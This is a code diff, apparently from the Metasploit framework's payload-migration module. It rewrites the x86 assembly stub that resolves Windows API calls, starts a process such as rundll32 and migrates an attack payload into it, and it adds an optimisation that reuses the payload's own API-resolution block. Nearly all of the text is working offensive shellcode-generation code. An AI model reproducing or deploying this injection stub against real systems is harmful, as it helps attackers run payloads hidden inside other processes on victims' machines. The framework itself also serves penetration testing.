@@ -79,9 +79,11 @@ def generate(*args)
79
79
payloadsize = "0x%04x" % buf . length
80
80
procname = datastore [ 'PrependMigrateProc' ] || 'rundll32'
81
81
82
- migrate_asm = <<EOS
83
- cld ; Clear the direction flag.
84
- call start ; Call start, this pushes the address of 'api_call' onto the stack.
82
+ # Prepare instructions to get address of block_api into ebp
83
+ block_api_start = <<EOS
84
+ call start
85
+ EOS
86
+ block_api_asm = <<EOS
85
87
api_call:
86
88
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
87
89
mov ebp, esp ; Create a new stack frame
@@ -162,11 +164,43 @@ def generate(*args)
162
164
pop edi ; Pop off the current (now the previous) modules hash
163
165
pop edx ; Restore our position in the module list
164
166
mov edx, [edx] ; Get the next module
165
- jmp next_mod ; Process this module
167
+ jmp.i8 next_mod ; Process this module
166
168
;--------------------------------------------------------------------------------------
167
- start: ;
169
+ EOS
170
+ block_api_ebp_asm = <<EOS
168
171
pop ebp ; Pop off the address of 'api_call' for calling later.
172
+ EOS
173
+ block_close_to_payload = ''
174
+
175
+ # Check if we can find block_api in the payload
176
+ block_api = Metasm ::Shellcode . assemble ( Metasm ::Ia32 . new , block_api_asm ) . encode_string
177
+ block_api_index = buf . index ( block_api )
178
+ if block_api_index
179
+
180
+ # Prepare instructions to calculate address
181
+ ebp_offset = "0x%04x" % ( block_api_index + 5 )
182
+ block_api_ebp_asm = <<EOS
183
+ jmp close_to_payload
184
+ return_from_close_to_payload:
185
+ pop ebp
186
+ add ebp, #{ ebp_offset }
187
+ EOS
188
+ # Clear now-unneeded instructions
189
+ block_api_asm = ''
190
+ block_api_start = ''
191
+ block_close_to_payload = <<EOS
192
+ close_to_payload:
193
+ call return_from_close_to_payload
194
+ EOS
195
+ end
169
196
197
+ #put all pieces together
198
+ migrate_asm = <<EOS
199
+ cld ; Clear the direction flag.
200
+ #{ block_api_start }
201
+ #{ block_api_asm }
202
+ start:
203
+ #{ block_api_ebp_asm }
170
204
; get our own startupinfo at esp+0x60
171
205
add esp,-400 ; adjust the stack to avoid corruption
172
206
mov edx,esp
@@ -244,14 +278,14 @@ def generate(*args)
244
278
call gotcommand
245
279
db "#{ procname } "
246
280
db 0x00
281
+ #{ block_close_to_payload }
247
282
begin_of_payload:
248
283
call begin_of_payload_return
249
284
EOS
250
285
251
286
pre << Metasm ::Shellcode . assemble ( Metasm ::Ia32 . new , migrate_asm ) . encode_string
252
287
end
253
288
end
254
-
255
289
return ( pre + buf )
256
290
end
257
291
0 commit comments